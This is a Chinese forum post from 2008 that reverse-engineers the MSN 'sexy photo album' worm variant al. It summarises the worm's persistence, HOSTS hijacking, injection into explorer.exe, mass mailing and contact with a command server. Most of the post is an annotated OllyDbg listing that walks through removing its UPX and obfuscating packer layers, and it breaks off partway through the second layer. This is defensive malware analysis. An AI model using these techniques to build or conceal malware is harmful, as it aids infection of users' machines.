找回密码
 立即注册

QQ登录

只需一步,快速开始

查看: 1313|回复: 14

[连载] 蠕虫病毒"MSN性感相册"变种al的反汇编逆向分析资料

[复制链接]

该用户从未签到

发表于 2008-6-15 12:45:56 | 显示全部楼层 |阅读模式
////////////////////////////////////////////////////////////////////////////////////////////////////
文章名称:蠕虫病毒"MSN性感相册"变种al的反汇编逆向分析资料(带手动脱壳部分)
文章类型:病毒反汇编逆向分析
编写作者:Coderui
编写日期:2008年06月13日
作者博客:http://hi.baidu.com/coderui
下载地址:http://forum.jiangmin.com/UploadFile/2008-6/2008613213532556.txt
////////////////////////////////////////////////////////////////////////////////////////////////////
****************************************************************************************************
----------------------------------------------------------------------------------------------------
病毒功能简述:
病毒名称:Worm/MSN.SendPhoto.al
中 文 名:“性感相册”变种al
病毒长度:23040 字节
病毒类型:蠕虫
危险级别:★★
影响平台:Win 9X/ME/NT/2000/XP/2003
病毒描述:
    Worm/MSN.SendPhoto.al“性感相册”变种al是蠕虫家族的最新成员之一,采用高级语言编写,并经过添加多层保护壳处理。“性感相册”变种al运行后,会自我复制到被感染计算机系统的“%SystemRoot%\system32\”目录下,并重新命名为“waccs.exe”(文件属性设置为:系统、隐藏、只读)。“性感相册”变种al会在被感染计算机的后台强行篡改用户系统中的HOSTS文件,利用域名映像劫持技术禁止用户访问与安全相关的网站。“性感相册”变种al在运行时,采用进程隐藏技术使自身的进程运行后不显示,这样可以使用户很难发现该病毒的存在。“性感相册”变种al在运行时,会在被感染计算机的后台将恶意可执行代码注入到系统桌面程序“explorer.exe”进程内存的空间中,并调用执行[其中,所注入的恶意代码的功能是:1、以共享方式打开"%SystemRoot%\system32\waccs.exe"文件,防止用户删除该病毒主程序文件。2、建立互斥量“t3x0”,利用进程守护技术原理,用系统“explorer.exe”进程来保护病毒主程序进程不被关闭(循环监视病毒主程序进程是否被关闭,如果发现被关闭则重新调用运行)。]。“性感相册”变种al会在被感染计算机系统的后台利用“E-MAIL”邮件和“MSN”等聊天工具进行群发恶意广告信息,可能还会利用“E-MAIL”邮件和“MSN”等聊天工具进行自我传播。“性感相册”变种al在运行时,会在被感染计算机系统的后台不段循环与骇客指定远程服务器(其中,通信地址为:“http://www.secure.freebsd.la”)进行秘密数据通信,接收从骇客服务器返回的数据包,根据包中骇客定义好的“指令”执行相应的恶意操作。“性感相册”变种al会通过在注册表启动项中添加新键的方式,来实现开机蠕虫病毒自启动。
----------------------------------------------------------------------------------------------------
一、手动脱壳部分(三层壳:UPX + 未知壳 + 压缩壳.):
第一层:UPX
0041D100 > 60              PUSHAD                                   ; 第一层UPX壳入口处.[F8]向下走一步.
0041D101    BE 00804100     MOV ESI,misfotos.00418000                ; 根据"ESP守恒定律",利用命令"HR ESP"下硬件断点,[F9]运行.
0041D106    8DBE 0090FEFF   LEA EDI,DWORD PTR DS:[ESI+FFFE9000]
0041D10C    57              PUSH EDI
0041D10D    83CD FF         OR EBP,FFFFFFFF
0041D110    EB 10           JMP SHORT misfotos.0041D122
            .
            .
            .
0041D24B    8D4424 80       LEA EAX,DWORD PTR SS:[ESP-80]            ; 运行后停在这里.利用命令"HD"删除硬件断点.
0041D24F    6A 00           PUSH 0
0041D251    39C4            CMP ESP,EAX
0041D253 ^ 75 FA           JNZ SHORT misfotos.0041D24F
0041D255    83EC 80         SUB ESP,-80
0041D258 - E9 EB44FEFF     JMP misfotos.00401748                    ; 这里是关键跳转,[F4]运行到这里,再[F8]一次,就到了下一个壳的OEP入口.
----------------------------------------------------------------------------------------------------

该用户从未签到

 楼主| 发表于 2008-6-15 12:48:10 | 显示全部楼层
----------------------------------------------------------------------------------------------------
第二层:未知壳

00401748    68 A0000000     PUSH 0A0                                 ; 第二层未知壳入口处.[F8]向下一直走.
0040174D    FF15 AA914100   CALL DWORD PTR DS:[4191AA]               ; GDI32.GetTextCharset
00401753    2315 10FE4000   AND EDX,DWORD PTR DS:[40FE10]
00401759    B8 D5D4C5E4     MOV EAX,E4C5D4D5
0040175E    BA 8AF84694     MOV EDX,9446F88A
00401763    68 00000000     PUSH 0
00401768    FF15 F2914100   CALL DWORD PTR DS:[4191F2]               ; GDI32.GetObjectType
0040176E    330D F0FF4000   XOR ECX,DWORD PTR DS:[40FFF0]
00401774    2915 B0F84000   SUB DWORD PTR DS:[40F8B0],EDX
0040177A    B9 FE6FDB94     MOV ECX,94DB6FFE
0040177F    60              PUSHAD
00401780    68 78000000     PUSH 78
00401785    FF15 AA914100   CALL DWORD PTR DS:[4191AA]               ; GDI32.GetTextCharset
0040178B    B8 99B0188D     MOV EAX,8D18B099
00401790    23CA            AND ECX,EDX
00401792    C1D2 13         RCL EDX,13
00401795    68 5A000000     PUSH 5A
0040179A    FF15 CE914100   CALL DWORD PTR DS:[4191CE]               ; GDI32.GetTextColor
004017A0    B8 F52BFF3B     MOV EAX,3BFF2BF5
004017A5    0BC1            OR EAX,ECX
004017A7    E9 0C000000     JMP misfotos.004017B8
004017AC    81DA 41B3616E   SBB EDX,6E61B341
004017B2    81E1 02074014   AND ECX,14400702
004017B8    68 F0000000     PUSH 0F0
004017BD    FF15 AA914100   CALL DWORD PTR DS:[4191AA]               ; GDI32.GetTextCharset
004017C3    C1C2 14         ROL EDX,14
004017C6    2BC1            SUB EAX,ECX
004017C8    1315 80FC4000   ADC EDX,DWORD PTR DS:[40FC80]
004017CE    6A 40           PUSH 40
004017D0    68 78000000     PUSH 78
004017D5    FF15 DA914100   CALL DWORD PTR DS:[4191DA]               ; GDI32.GetStockObject
004017DB    13C8            ADC ECX,EAX
004017DD    B8 8EC095D3     MOV EAX,D395C08E
004017E2    E9 0A000000     JMP misfotos.004017F1
004017E7    2BC1            SUB EAX,ECX
004017E9    C1D9 13         RCR ECX,13
004017EC    BA DA3D088C     MOV EDX,8C083DDA
004017F1    68 5A000000     PUSH 5A
004017F6    FF15 AA914100   CALL DWORD PTR DS:[4191AA]               ; GDI32.GetTextCharset
004017FC    C1D0 17         RCL EAX,17
004017FF    1BD1            SBB EDX,ECX
00401801    E9 0B000000     JMP misfotos.00401811
00401806    B9 D9B0C767     MOV ECX,67C7B0D9
0040180B    0115 D0FF4000   ADD DWORD PTR DS:[40FFD0],EDX
00401811    68 00100000     PUSH 1000
00401816    68 82000000     PUSH 82
0040181B    FF15 F2914100   CALL DWORD PTR DS:[4191F2]               ; GDI32.GetObjectType
00401821    23C1            AND EAX,ECX
00401823    81CA 3592BBAE   OR EDX,AEBB9235
00401829    1905 10F94000   SBB DWORD PTR DS:[40F910],EAX
0040182F    68 46000000     PUSH 46
00401834    FF15 CE914100   CALL DWORD PTR DS:[4191CE]               ; GDI32.GetTextColor
0040183A    C1F1 1C         SAL ECX,1C
0040183D    B8 56BE5D76     MOV EAX,765DBE56
00401842    E9 0C000000     JMP misfotos.00401853
00401847    81D1 C57C94A5   ADC ECX,A5947CC5
0040184D    40              INC EAX
0040184E    BA F96C60E2     MOV EDX,E2606CF9
00401853    68 6E000000     PUSH 6E
00401858    FF15 DA914100   CALL DWORD PTR DS:[4191DA]               ; GDI32.GetStockObject
0040185E    03C8            ADD ECX,EAX
00401860    81C2 41CE4169   ADD EDX,6941CE41
00401866    3BC8            CMP ECX,EAX
00401868    79 0F           JNS SHORT misfotos.00401879
0040186A    330D A0FF4000   XOR ECX,DWORD PTR DS:[40FFA0]
00401870    C1D8 02         RCR EAX,2
00401873    210D B0FA4000   AND DWORD PTR DS:[40FAB0],ECX
00401879    C1D8 07         RCR EAX,7
0040187C    81CA B22C5ABB   OR EDX,BB5A2CB2
00401882    1BD1            SBB EDX,ECX
00401884    68 14000000     PUSH 14
00401889    FF15 CE914100   CALL DWORD PTR DS:[4191CE]               ; GDI32.GetTextColor
0040188F    310D F0F84000   XOR DWORD PTR DS:[40F8F0],ECX
00401895    81C2 610C3949   ADD EDX,49390C61
0040189B    1B05 A0FE4000   SBB EAX,DWORD PTR DS:[40FEA0]
004018A1    3BC8            CMP ECX,EAX
004018A3    76 0C           JBE SHORT misfotos.004018B1
004018A5    81E1 29B246CB   AND ECX,CB46B229
004018AB    81DA C19BC3A4   SBB EDX,A4C39BC1
004018B1    C1C0 06         ROL EAX,6
004018B4    0315 A0F84000   ADD EDX,DWORD PTR DS:[40F8A0]
004018BA    2105 50F94000   AND DWORD PTR DS:[40F950],EAX
004018C0    68 E8240000     PUSH 24E8
004018C5    68 14000000     PUSH 14
004018CA    FF15 DA914100   CALL DWORD PTR DS:[4191DA]               ; GDI32.GetStockObject
004018D0    3115 20FD4000   XOR DWORD PTR DS:[40FD20],EDX
004018D6    81D1 FE912D27   ADC ECX,272D91FE
004018DC    68 78000000     PUSH 78
004018E1    FF15 CE914100   CALL DWORD PTR DS:[4191CE]               ; GDI32.GetTextColor
004018E7    2B05 20F84000   SUB EAX,DWORD PTR DS:[40F820]
004018ED    0BC2            OR EAX,EDX
004018EF    BA E1B9BFBE     MOV EDX,BEBFB9E1
004018F4    81FA F5118A80   CMP EDX,808A11F5
004018FA    75 11           JNZ SHORT misfotos.0040190D
004018FC    B8 3EC66BBE     MOV EAX,BE6BC63E
00401901    81C9 41E9FB10   OR ECX,10FBE941
00401907    2905 B0F84000   SUB DWORD PTR DS:[40F8B0],EAX
0040190D    B9 09053E33     MOV ECX,333E0509
00401912    BA A1807B32     MOV EDX,327B80A1
00401917    1B05 70FD4000   SBB EAX,DWORD PTR DS:[40FD70]
0040191D    68 28000000     PUSH 28
00401922    FF15 F2914100   CALL DWORD PTR DS:[4191F2]               ; GDI32.GetObjectType
00401928    C1C9 1E         ROR ECX,1E
0040192B    0105 D0FA4000   ADD DWORD PTR DS:[40FAD0],EAX
00401931    E9 0D000000     JMP misfotos.00401943
00401936    B9 B16624FB     MOV ECX,FB2466B1
0040193B    1915 00FD4000   SBB DWORD PTR DS:[40FD00],EDX
00401941    13D1            ADC EDX,ECX
00401943    6A 00           PUSH 0
00401945    68 F0000000     PUSH 0F0
0040194A    FF15 DA914100   CALL DWORD PTR DS:[4191DA]               ; GDI32.GetStockObject
00401950    1105 90FF4000   ADC DWORD PTR DS:[40FF90],EAX
00401956    BA FAFEEA35     MOV EDX,35EAFEFA
0040195B    3BC1            CMP EAX,ECX
0040195D    79 09           JNS SHORT misfotos.00401968
0040195F    42              INC EDX
00401960    2B05 20FF4000   SUB EAX,DWORD PTR DS:[40FF20]
00401966    2BCA            SUB ECX,EDX
00401968    3305 50FC4000   XOR EAX,DWORD PTR DS:[40FC50]
0040196E    B9 FEA2EB76     MOV ECX,76EBA2FE
00401973    68 64000000     PUSH 64
00401978    FF15 F2914100   CALL DWORD PTR DS:[4191F2]               ; GDI32.GetObjectType
0040197E    13C8            ADC ECX,EAX
00401980    33CA            XOR ECX,EDX
00401982    81C1 9D3A4307   ADD ECX,7433A9D
00401988    E9 0C000000     JMP misfotos.00401999
0040198D    81C2 EA541683   ADD EDX,831654EA
00401993    81D1 72147E2A   ADC ECX,2A7E1472
00401999    68 3C000000     PUSH 3C
0040199E    FF15 AA914100   CALL DWORD PTR DS:[4191AA]               ; GDI32.GetTextCharset
004019A4    3315 E0FA4000   XOR EDX,DWORD PTR DS:[40FAE0]
004019AA    81C1 2DF6770C   ADD ECX,0C77F62D
004019B0    81E9 A1DB420D   SUB ECX,0D42DBA1
004019B6    3B05 64FD4000   CMP EAX,DWORD PTR DS:[40FD64]
004019BC    7E 04           JLE SHORT misfotos.004019C2
004019BE    C1F2 09         SAL EDX,9
004019C1    41              INC ECX
004019C2    1105 C0FD4000   ADC DWORD PTR DS:[40FDC0],EAX
004019C8    2315 B0FD4000   AND EDX,DWORD PTR DS:[40FDB0]
004019CE    FF15 4E924100   CALL DWORD PTR DS:[41924E]               ; kernel32.VirtualAlloc
004019D4    8BF0            MOV ESI,EAX
004019D6    68 46000000     PUSH 46
004019DB    FF15 DA914100   CALL DWORD PTR DS:[4191DA]               ; GDI32.GetStockObject
004019E1    81D1 E665EAFA   ADC ECX,FAEA65E6
004019E7    3105 40FA4000   XOR DWORD PTR DS:[40FA40],EAX
004019ED    3BCA            CMP ECX,EDX
004019EF    79 08           JNS SHORT misfotos.004019F9
004019F1    0BD1            OR EDX,ECX
004019F3    B9 D5A0E402     MOV ECX,2E4A0D5
004019F8    40              INC EAX
004019F9    0915 F0FE4000   OR DWORD PTR DS:[40FEF0],EDX
004019FF    0BD0            OR EDX,EAX
00401A01    68 32000000     PUSH 32
00401A06    FF15 AA914100   CALL DWORD PTR DS:[4191AA]               ; GDI32.GetTextCharset
00401A0C    0BC8            OR ECX,EAX
00401A0E    0BC8            OR ECX,EAX
00401A10    3B15 40FE4000   CMP EDX,DWORD PTR DS:[40FE40]
00401A16    71 0E           JNO SHORT misfotos.00401A26
00401A18    1905 30F94000   SBB DWORD PTR DS:[40F930],EAX
00401A1E    BA 9DDD9596     MOV EDX,9695DD9D
00401A23    C1E9 1E         SHR ECX,1E
00401A26    B8 3EE8BC94     MOV EAX,94BCE83E
00401A2B    81C1 861A3829   ADD ECX,29381A86
00401A31    81E9 F15DE68A   SUB ECX,8AE65DF1
00401A37    56              PUSH ESI
00401A38    68 00000000     PUSH 0
00401A3D    FF15 F2914100   CALL DWORD PTR DS:[4191F2]               ; GDI32.GetObjectType
00401A43    0115 90FA4000   ADD DWORD PTR DS:[40FA90],EDX
00401A49    81E1 B524DB34   AND ECX,34DB24B5
00401A4F    BA 2A9C114C     MOV EDX,4C119C2A
00401A54    3B05 EAFE4000   CMP EAX,DWORD PTR DS:[40FEEA]
00401A5A    79 0F           JNS SHORT misfotos.00401A6B
00401A5C    C1D1 1C         RCL ECX,1C
00401A5F    81C9 B1DCFAD0   OR ECX,D0FADCB1
00401A65    81D2 D2D09685   ADC EDX,8596D0D2
00401A6B    C1E8 16         SHR EAX,16
00401A6E    1BCA            SBB ECX,EDX
00401A70    68 00000000     PUSH 0
00401A75    68 FA000000     PUSH 0FA
00401A7A    FF15 A2914100   CALL DWORD PTR DS:[4191A2]               ; GDI32.GetMetaRgn
00401A80    81CA 16FA2657   OR EDX,5726FA16
00401A86    0905 E0FF4000   OR DWORD PTR DS:[40FFE0],EAX
00401A8C    3B15 EAFE4000   CMP EDX,DWORD PTR DS:[40FEEA]
00401A92    76 0B           JBE SHORT misfotos.00401A9F
00401A94    B9 395EFC83     MOV ECX,83FC5E39
00401A99    0B15 D0F94000   OR EDX,DWORD PTR DS:[40F9D0]
00401A9F    81C1 65825161   ADD ECX,61518265
00401AA5    C1E0 07         SHL EAX,7
00401AA8    C1EA 0B         SHR EDX,0B
00401AAB    68 64000000     PUSH 64
00401AB0    FF15 F2914100   CALL DWORD PTR DS:[4191F2]               ; GDI32.GetObjectType
00401AB6    B8 F918B92E     MOV EAX,2EB918F9
00401ABB    1BC2            SBB EAX,EDX
00401ABD    E9 0B000000     JMP misfotos.00401ACD
00401AC2    B9 869B3EB7     MOV ECX,B73E9B86
00401AC7    1B05 F0FE4000   SBB EAX,DWORD PTR DS:[40FEF0]
00401ACD    BB 60124000     MOV EBX,misfotos.00401260
00401AD2    68 96000000     PUSH 96
00401AD7    FF15 DA914100   CALL DWORD PTR DS:[4191DA]               ; GDI32.GetStockObject
00401ADD    C1EA 05         SHR EDX,5
00401AE0    290D C0FD4000   SUB DWORD PTR DS:[40FDC0],ECX
00401AE6    3BD1            CMP EDX,ECX
00401AE8    7E 08           JLE SHORT misfotos.00401AF2
00401AEA    BA C66B979C     MOV EDX,9C976BC6
00401AEF    C1C1 11         ROL ECX,11
00401AF2    03CA            ADD ECX,EDX
00401AF4    3315 10FB4000   XOR EDX,DWORD PTR DS:[40FB10]
00401AFA    2BD1            SUB EDX,ECX
00401AFC    68 6E000000     PUSH 6E
00401B01    FF15 F2914100   CALL DWORD PTR DS:[4191F2]               ; GDI32.GetObjectType
00401B07    0305 20FE4000   ADD EAX,DWORD PTR DS:[40FE20]
00401B0D    B9 A5000ABB     MOV ECX,BB0A00A5
00401B12    03C2            ADD EAX,EDX
00401B14    68 14000000     PUSH 14
00401B19    FF15 DA914100   CALL DWORD PTR DS:[4191DA]               ; GDI32.GetStockObject
00401B1F    3315 90FC4000   XOR EDX,DWORD PTR DS:[40FC90]
00401B25    23D1            AND EDX,ECX
00401B27    68 A0000000     PUSH 0A0
00401B2C    FF15 CE914100   CALL DWORD PTR DS:[4191CE]               ; GDI32.GetTextColor
00401B32    B9 AAD1A3A8     MOV ECX,A8A3D1AA
00401B37    40              INC EAX
00401B38    81FA 3A9082CD   CMP EDX,CD82903A
00401B3E    7A 07           JPE SHORT misfotos.00401B47
00401B40    0BD1            OR EDX,ECX
00401B42    B8 524E36FD     MOV EAX,FD364E52
00401B47    B9 5A47DD0D     MOV ECX,0DDD475A
00401B4C    C1D2 10         RCL EDX,10
00401B4F    FF33            PUSH DWORD PTR DS:[EBX]
00401B51    68 3C000000     PUSH 3C
00401B56    FF15 F2914100   CALL DWORD PTR DS:[4191F2]               ; GDI32.GetObjectType
00401B5C    2B0D D0FF4000   SUB ECX,DWORD PTR DS:[40FFD0]
00401B62    81CA 02BDDE9F   OR EDX,9FDEBD02
00401B68    81F9 2D7FA92C   CMP ECX,2CA97F2D
00401B6E    7D 0A           JGE SHORT misfotos.00401B7A
00401B70    C1C2 1D         ROL EDX,1D
00401B73    23D0            AND EDX,EAX
00401B75    B8 B6B34935     MOV EAX,3549B3B6
00401B7A    03D1            ADD EDX,ECX
00401B7C    B9 C66C3771     MOV ECX,71376CC6
00401B81    68 B4000000     PUSH 0B4
00401B86    FF15 CE914100   CALL DWORD PTR DS:[4191CE]               ; GDI32.GetTextColor
00401B8C    81C9 4AE9DD0F   OR ECX,0FDDE94A
00401B92    23C2            AND EAX,EDX
00401B94    C1E2 18         SHL EDX,18
00401B97    8F06            POP DWORD PTR DS:[ESI]
00401B99    68 F0000000     PUSH 0F0
00401B9E    FF15 DA914100   CALL DWORD PTR DS:[4191DA]               ; GDI32.GetStockObject
00401BA4    81D2 A513B20F   ADC EDX,0FB213A5
00401BAA    81EA D9325608   SUB EDX,85632D9
00401BB0    3B0D 58FA4000   CMP ECX,DWORD PTR DS:[40FA58]
00401BB6    71 0E           JNO SHORT misfotos.00401BC6
00401BB8    1105 00FC4000   ADC DWORD PTR DS:[40FC00],EAX
00401BBE    2B0D E0F84000   SUB ECX,DWORD PTR DS:[40F8E0]
00401BC4    13C2            ADC EAX,EDX
00401BC6    2B15 C0FE4000   SUB EDX,DWORD PTR DS:[40FEC0]
00401BCC    B9 46AD58D4     MOV ECX,D458AD46
00401BD1    68 3C000000     PUSH 3C
00401BD6    FF15 AA914100   CALL DWORD PTR DS:[4191AA]               ; GDI32.GetTextCharset
00401BDC    81D2 560493C0   ADC EDX,C0930456
00401BE2    2B05 50FC4000   SUB EAX,DWORD PTR DS:[40FC50]
00401BE8    B9 66C9A1A9     MOV ECX,A9A1C966
00401BED    8136 838221BB   XOR DWORD PTR DS:[ESI],BB218283
00401BF3    68 F0000000     PUSH 0F0
00401BF8    FF15 F2914100   CALL DWORD PTR DS:[4191F2]               ; GDI32.GetObjectType
00401BFE    C1C0 0A         ROL EAX,0A
00401C01    1915 00FC4000   SBB DWORD PTR DS:[40FC00],EDX
00401C07    1BC8            SBB ECX,EAX
00401C09    81FA F18ED7B1   CMP EDX,B1D78EF1
00401C0F    71 0D           JNO SHORT misfotos.00401C1E
00401C11    13D0            ADC EDX,EAX
00401C13    B8 9AB6D2C1     MOV EAX,C1D2B69A
00401C18    81D9 22BB5FB5   SBB ECX,B55FBB22
00401C1E    C1C8 11         ROR EAX,11
00401C21    03D1            ADD EDX,ECX
00401C23    68 8C000000     PUSH 8C
00401C28    FF15 AA914100   CALL DWORD PTR DS:[4191AA]               ; GDI32.GetTextCharset
00401C2E    0B05 00FE4000   OR EAX,DWORD PTR DS:[40FE00]
00401C34    81D9 C9CE2159   SBB ECX,5921CEC9
00401C3A    68 5A000000     PUSH 5A
00401C3F    FF15 F2914100   CALL DWORD PTR DS:[4191F2]               ; GDI32.GetObjectType
00401C45    2BC2            SUB EAX,EDX
00401C47    1B0D 60FB4000   SBB ECX,DWORD PTR DS:[40FB60]
00401C4D    E9 0F000000     JMP misfotos.00401C61
00401C52    1B05 30FB4000   SBB EAX,DWORD PTR DS:[40FB30]
00401C58    C1C2 04         ROL EDX,4
00401C5B    81C1 1206B1A2   ADD ECX,A2B10612
00401C61    8106 410E9B09   ADD DWORD PTR DS:[ESI],99B0E41
00401C67    68 14000000     PUSH 14
00401C6C    68 E6000000     PUSH 0E6
00401C71    FF15 A2914100   CALL DWORD PTR DS:[4191A2]               ; GDI32.GetMetaRgn
00401C77    81DA D197286B   SBB EDX,6B2897D1
00401C7D    81C1 E9767E1F   ADD ECX,1F7E76E9
00401C83    E9 0B000000     JMP misfotos.00401C93
00401C88    B8 3A429A7D     MOV EAX,7D9A423A
00401C8D    1315 20FD4000   ADC EDX,DWORD PTR DS:[40FD20]
00401C93    68 C8000000     PUSH 0C8
00401C98    FF15 DA914100   CALL DWORD PTR DS:[4191DA]               ; GDI32.GetStockObject
00401C9E    C1D8 05         RCR EAX,5
00401CA1    BA 5A7944FA     MOV EDX,FA44795A
00401CA6    3B0D 26FF4000   CMP ECX,DWORD PTR DS:[40FF26]
00401CAC    72 09           JB SHORT misfotos.00401CB7
00401CAE    C1DA 02         RCR EDX,2
00401CB1    210D 70FA4000   AND DWORD PTR DS:[40FA70],ECX
00401CB7    1BD0            SBB EDX,EAX
00401CB9    B9 5E1AF8E0     MOV ECX,E0F81A5E
00401CBE    68 A0000000     PUSH 0A0
00401CC3    FF15 CE914100   CALL DWORD PTR DS:[4191CE]               ; GDI32.GetTextColor
00401CC9    81DA B9742043   SBB EDX,432074B9
00401CCF    C1E1 06         SHL ECX,6
00401CD2    E9 0B000000     JMP misfotos.00401CE2
00401CD7    81D1 0122DAA3   ADC ECX,A3DA2201
00401CDD    BA 8E48FDE4     MOV EDX,E4FD488E
00401CE2    81C3 1151EC60   ADD EBX,60EC5111
00401CE8    68 D2000000     PUSH 0D2
00401CED    FF15 F2914100   CALL DWORD PTR DS:[4191F2]               ; GDI32.GetObjectType
00401CF3    C1E9 13         SHR ECX,13
00401CF6    81EA DA05CDAB   SUB EDX,ABCD05DA
00401CFC    E9 0D000000     JMP misfotos.00401D0E
00401D01    B9 75BDE543     MOV ECX,43E5BD75
00401D06    BA 4D8AE267     MOV EDX,67E28A4D
00401D0B    C1C8 03         ROR EAX,3
00401D0E    68 FA000000     PUSH 0FA
00401D13    68 C8000000     PUSH 0C8
00401D18    FF15 A2914100   CALL DWORD PTR DS:[4191A2]               ; GDI32.GetMetaRgn
00401D1E    BA 167E846E     MOV EDX,6E847E16
00401D23    C1C8 03         ROR EAX,3
00401D26    3B15 74FC4000   CMP EDX,DWORD PTR DS:[40FC74]
00401D2C    76 0C           JBE SHORT misfotos.00401D3A
00401D2E    1905 C0FE4000   SBB DWORD PTR DS:[40FEC0],EAX
00401D34    1B15 E0F84000   SBB EDX,DWORD PTR DS:[40F8E0]
00401D3A    B8 E9C146FE     MOV EAX,FE46C1E9
00401D3F    1B15 B0F84000   SBB EDX,DWORD PTR DS:[40F8B0]
00401D45    1B05 50FB4000   SBB EAX,DWORD PTR DS:[40FB50]
00401D4B    81C3 F3AE139F   ADD EBX,9F13AEF3
00401D51    68 28000000     PUSH 28
00401D56    FF15 AA914100   CALL DWORD PTR DS:[4191AA]               ; GDI32.GetTextCharset
00401D5C    C1D9 0B         RCR ECX,0B
00401D5F    81C1 F9C4B1D6   ADD ECX,D6B1C4F9
00401D65    1915 80FD4000   SBB DWORD PTR DS:[40FD80],EDX
00401D6B    68 A0000000     PUSH 0A0
00401D70    FF15 F2914100   CALL DWORD PTR DS:[4191F2]               ; GDI32.GetObjectType
00401D76    23D1            AND EDX,ECX
00401D78    0305 20FC4000   ADD EAX,DWORD PTR DS:[40FC20]
00401D7E    C1DA 13         RCR EDX,13
00401D81    3B0D 6CFF4000   CMP ECX,DWORD PTR DS:[40FF6C]
00401D87    71 0E           JNO SHORT misfotos.00401D97
00401D89    C1D2 1A         RCL EDX,1A
00401D8C    81E2 8DCC5475   AND EDX,7554CC8D
00401D92    B8 BAC7C622     MOV EAX,22C6C7BA
00401D97    C1FA 12         SAR EDX,12
00401D9A    C1C1 08         ROL ECX,8
00401D9D    81C6 6AED2E2F   ADD ESI,2F2EED6A
00401DA3    68 E6000000     PUSH 0E6
00401DA8    FF15 DA914100   CALL DWORD PTR DS:[4191DA]               ; GDI32.GetStockObject
00401DAE    1B05 50F94000   SBB EAX,DWORD PTR DS:[40F950]
00401DB4    B9 6AA78799     MOV ECX,9987A76A
00401DB9    81FA F23E3F93   CMP EDX,933F3EF2
00401DBF    72 07           JB SHORT misfotos.00401DC8
00401DC1    23D0            AND EDX,EAX
00401DC3    B9 16DFEE35     MOV ECX,35EEDF16
00401DC8    81C1 12580249   ADD ECX,49025812
00401DCE    13C2            ADC EAX,EDX
00401DD0    68 C8000000     PUSH 0C8
00401DD5    68 0A000000     PUSH 0A
00401DDA    FF15 A2914100   CALL DWORD PTR DS:[4191A2]               ; GDI32.GetMetaRgn
00401DE0    81D2 46B0111A   ADC EDX,1A11B046
00401DE6    B9 3DCFF281     MOV ECX,81F2CF3D
00401DEB    B8 950F5EFE     MOV EAX,FE5E0F95
00401DF0    81FA CA307D84   CMP EDX,847D30CA
00401DF6    7A 08           JPE SHORT misfotos.00401E00
00401DF8    1105 00FC4000   ADC DWORD PTR DS:[40FC00],EAX
00401DFE    1BC2            SBB EAX,EDX
00401E00    1BD1            SBB EDX,ECX
00401E02    C1F9 18         SAR ECX,18
00401E05    68 3C000000     PUSH 3C
00401E0A    FF15 DA914100   CALL DWORD PTR DS:[4191DA]               ; GDI32.GetStockObject
00401E10    0BC8            OR ECX,EAX
00401E12    1BD0            SBB EDX,EAX
00401E14    0305 80FA4000   ADD EAX,DWORD PTR DS:[40FA80]
00401E1A    81C6 9A12D1D0   ADD ESI,D0D1129A
00401E20    81FB 48174000   CMP EBX,misfotos.00401748
00401E26 ^ 0F85 A6FCFFFF   JNZ misfotos.00401AD2                    ; 这里的向上回跳不要跳,我们直接执行到下一行的代码处,因为这里是循环.
00401E2C    68 50000000     PUSH 50                                  ; [F4]运行到这里,继续[F8]向下一直走.
00401E31    68 8C000000     PUSH 8C
00401E36    FF15 A2914100   CALL DWORD PTR DS:[4191A2]               ; GDI32.GetMetaRgn
00401E3C    13D1            ADC EDX,ECX
00401E3E    C1C8 1B         ROR EAX,1B
00401E41    BA B13EEE10     MOV EDX,10EE3EB1
00401E46    81F9 9E40C622   CMP ECX,22C6409E
00401E4C    7E 0B           JLE SHORT misfotos.00401E59
00401E4E    3305 50FB4000   XOR EAX,DWORD PTR DS:[40FB50]
00401E54    B9 79450E10     MOV ECX,100E4579
00401E59    3305 50FB4000   XOR EAX,DWORD PTR DS:[40FB50]
00401E5F    B9 C18E4B4F     MOV ECX,4F4B8EC1
00401E64    23D0            AND EDX,EAX
00401E66    68 14000000     PUSH 14
00401E6B    FF15 DA914100   CALL DWORD PTR DS:[4191DA]               ; GDI32.GetStockObject
00401E71    0905 60FF4000   OR DWORD PTR DS:[40FF60],EAX
00401E77    03C1            ADD EAX,ECX
00401E79    E9 0C000000     JMP misfotos.00401E8A
00401E7E    C1E1 08         SHL ECX,8
00401E81    0B05 90FB4000   OR EAX,DWORD PTR DS:[40FB90]
00401E87    C1CA 0C         ROR EDX,0C
00401E8A    68 BE000000     PUSH 0BE
00401E8F    FF15 F2914100   CALL DWORD PTR DS:[4191F2]               ; GDI32.GetObjectType
00401E95    C1E1 1A         SHL ECX,1A
00401E98    BA 66CD8033     MOV EDX,3380CD66
00401E9D    5B              POP EBX
00401E9E    68 F0000000     PUSH 0F0
00401EA3    FF15 CE914100   CALL DWORD PTR DS:[4191CE]               ; GDI32.GetTextColor
00401EA9    48              DEC EAX
00401EAA    BA A97A171B     MOV EDX,1B177AA9
00401EAF    81EA FD9A1BC0   SUB EDX,C01B9AFD
00401EB5    81F9 02AAC65E   CMP ECX,5EC6AA02
00401EBB    72 08           JB SHORT misfotos.00401EC5
00401EBD    C1F0 11         SAL EAX,11
00401EC0    B9 853F21A6     MOV ECX,A6213F85
00401EC5    C1F0 02         SAL EAX,2
00401EC8    BA B5C941E2     MOV EDX,E241C9B5
00401ECD    03D1            ADD EDX,ECX
00401ECF    68 AA000000     PUSH 0AA
00401ED4    68 BE000000     PUSH 0BE
00401ED9    FF15 A2914100   CALL DWORD PTR DS:[4191A2]               ; GDI32.GetMetaRgn
00401EDF    81C1 428C77DA   ADD ECX,DA778C42
00401EE5    2915 20FD4000   SUB DWORD PTR DS:[40FD20],EDX
00401EEB    FFD3            CALL EBX                                 ; 到这里后千万不要按[F8]去步过执行,那么会跑飞的.应该按[F7]进去,里边是下一个壳的OEP入口.
00401EED    68 3C000000     PUSH 3C
00401EF2    FF15 F2914100   CALL DWORD PTR DS:[4191F2]               ; GDI32.GetObjectType
00401EF8    03C1            ADD EAX,ECX
00401EFA    C1C2 13         ROL EDX,13
00401EFD    C1E8 18         SHR EAX,18
00401F00    E9 10000000     JMP misfotos.00401F15
00401F05    1315 A0FB4000   ADC EDX,DWORD PTR DS:[40FBA0]
00401F0B    B9 824E7AB1     MOV ECX,B17A4E82
00401F10    B8 8AA4C975     MOV EAX,75C9A48A
00401F15    68 82000000     PUSH 82
00401F1A    FF15 CE914100   CALL DWORD PTR DS:[4191CE]               ; GDI32.GetTextColor
00401F20    190D 20FC4000   SBB DWORD PTR DS:[40FC20],ECX
00401F26    C1EA 0B         SHR EDX,0B
00401F29    130D C0FD4000   ADC ECX,DWORD PTR DS:[40FDC0]
00401F2F    E9 10000000     JMP misfotos.00401F44
